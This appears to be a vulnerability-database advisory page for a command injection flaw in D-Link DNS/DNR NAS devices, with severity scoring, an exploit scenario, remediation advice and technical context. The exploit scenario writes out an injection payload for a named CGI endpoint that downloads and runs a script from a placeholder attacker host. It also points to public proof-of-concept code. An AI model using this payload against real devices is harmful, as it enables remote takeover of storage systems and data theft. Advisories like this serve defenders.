EUVD-2026-12275Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | CVSS 6.3 (Medium) with a network attack vector, low complexity, and requirement for login (PR:L) indicates a realistic but non-trivial threat. The CVSS vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L/E:P/RL:X/RC:R classifies this as having 'Proof of Concept' exploit code available (E:P) with 'Reasonable' confidence (RC:R), elevating practical risk. The key risk factors: (1) Authentication requirement limits blast radius to users with web interface access or compromised credentials, (2) Public exploits are confirmed available on GitHub, indicating active weaponization potential, (3) No evidence of patch availability (RL:X suggests no official release), (4) Broad product range affects both SMB/SOHO (DNS-320L) and enterprise (DNS-1550-04) segments. Real-world priority is HIGH for organizations running affected D-Link NAS devices with internet-exposed management interfaces; MEDIUM for air-gapped or internally-managed deployments. The exploitation requires prior authentication, preventing unauthenticated mass exploitation, but organizations with weak credential hygiene or default credentials remain at critical risk. |
| Exploit ScenarioDerived | An attacker with valid web management credentials (obtained via phishing, credential stuffing, or default credentials) authenticates to the D-Link NAS web interface. The attacker navigates to the Port Forwarding or DDNS configuration page and submits a crafted request to /cgi-bin/network_mgr.cgi?action=cgi_portforwarding_add with a malicious payload in the external IP or hostname parameter, such as: '192.168.1.1; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh'. The unvalidated input is passed directly to a shell command (likely iptables or similar), resulting in command injection. The attacker achieves remote code execution as the 'www' or 'root' user (depending on web server privileges), allowing them to establish a reverse shell, exfiltrate NAS data, pivot to the internal network, or deploy ransomware. Public GitHub POCs (referenced at https://github.com/wudipjq/my_vuln/blob/main/D-Link8/vuln_122/122.md and vuln_123/123.md) provide ready-to-use exploit code, reducing the barrier to exploitation. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 16, 2026
Command injection in D-Link DNS and DNR network attached storage devices allows authenticated remote attackers to execute arbitrary commands through multiple CGI functions in the network management interface. The vulnerability affects numerous models up to firmware version 20260205, and public exploit code is available. An attacker with valid credentials can leverage this to compromise device integrity and potentially access the network.
Earlier versions of this analysis (1)
A command injection vulnerability exists in D-Link NAS and network storage devices across 20 product models in the /cgi-bin/network_mgr.cgi file, affecting multiple CGI functions related to port forwarding, DHCP, DDNS, and IP configuration. An authenticated remote attacker can inject arbitrary system commands through improperly sanitized input parameters, achieving code execution with the privileges of the web server process. Public exploits are available, and the vulnerability requires authentication but has low attack complexity, making it a moderate-to-high priority for affected organizations.
RemediationAI
Immediate actions: (1) Identify and inventory all D-Link DNS/DNR devices in your environment using the CPE list above, (2) Check for available firmware updates beyond 20260205 on D-Link support portal (https://www.dlink.com/); if no patches exist, contact D-Link support for security advisory updates, (3) Restrict network access to the web management interface (:80, :443) using firewall rules, allowing only trusted internal subnets, (4) Disable remote management features if not required (disable WAN-side access to /cgi-bin/), (5) Enforce strong authentication: change default credentials immediately and implement account lockout policies, (6) Monitor logs for CGI parameter injection patterns (shell metacharacters in network config requests). Temporary mitigations pending patching: Disable the affected CGI functions if not in use via web interface restrictions, or place devices behind a WAF with command injection detection rules targeting shell operators (;, |, &, `, $(), etc.) in network configuration parameters.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a classic command injection flaw (CWE-77: Improper Neutralization of Special Elements used in a Command) in CGI scripts handling network configuration on D-Link DNS/DNR series NAS devices. The affected functions—cgi_portforwarding_add, cgi_portforwarding_del, cgi_portforwarding_modify, cgi_portforwarding_add_scan, cgi_dhcpd_lease, cgi_ddns, cgi_ip, and cgi_dhcpd—accept user input (IP addresses, port numbers, hostnames, DHCP parameters) that is passed unsanitized to system shell commands, likely via shell metacharacters or command substitution operators. The underlying technology involves embedded Linux web servers in NAS appliances using CGI for dynamic configuration. Affected CPE entries span both entry-level (DNS-120, DNS-320 series) and enterprise-grade (DNS-1550-04, DNS-1100-4) models from D-Link's DNS/DNR product families, all running vulnerable firmware versions up to and including 20260205.
Know when Dnr 202l gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
Lifecycle Timeline
4DescriptionCVE.org
A vulnerability was detected in D-Link DNS-120, DNR-202L, DNS-315L, DNS-320, DNS-320L, DNS-320LW, DNS-321, DNR-322L, DNS-323, DNS-325, DNS-326, DNS-327L, DNR-326, DNS-340L, DNS-343, DNS-345, DNS-726-4, DNS-1100-4, DNS-1200-05 and DNS-1550-04 up to 20260205. Impacted is the function cgi_portforwarding_add/cgi_portforwarding_del/cgi_portforwarding_modify/cgi_portforwarding_add_scan/cgi_dhcpd_lease/cgi_ddns/cgi_ip/cgi_dhcpd of the file /cgi-bin/network_mgr.cgi. The manipulation results in command injection. The attack may be launched remotely. The exploit is now public and may be used.
Executive ViewAI
Organizations using A vulnerability should be aware of moderate risk from CVE-2026-4203, a command injection vulnerability rated CVSS 6.3. Exploitation could allow attackers to execute code or inject malicious input. Proof-of-concept code is publicly available. Organizations should apply vendor updates when available and monitor for exploitation.
Apply vendor patch. If patching is delayed: deploy WAF rules, restrict network access, enable logging.
Threat Intelligence Overview
NVD
CVE.org
EPSS
GitHub
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Related Vulnerabilities in D-Link DNS NAS Command Injection Flaws
View all 11Stack-based buffer overflow in D-Link NAS devices enables authenticated remote attackers to execute arbitrary code with
Stack-based buffer overflow in D-Link NAS device management interfaces allows authenticated remote attackers to execute
Stack-based buffer overflow in D-Link NAS devices allows authenticated remote attackers to achieve complete system compr
Stack-based buffer overflow in D-Link NAS devices enables remote code execution with high integrity impact for authentic
Improper access controls in D-Link network-attached storage devices (DNS-120 through DNS-1550-04, firmware versions up t
Exploit-DB